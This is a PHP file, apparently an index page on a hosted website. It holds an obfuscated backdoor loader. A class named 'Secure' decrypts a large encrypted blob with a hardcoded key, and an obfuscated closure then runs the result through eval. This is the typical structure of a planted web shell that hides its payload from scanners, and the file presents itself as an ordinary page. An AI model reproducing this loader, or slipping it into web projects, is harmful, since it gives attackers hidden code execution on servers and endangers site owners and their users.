File: /home/maoristu4c3dbd03/www/index1.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);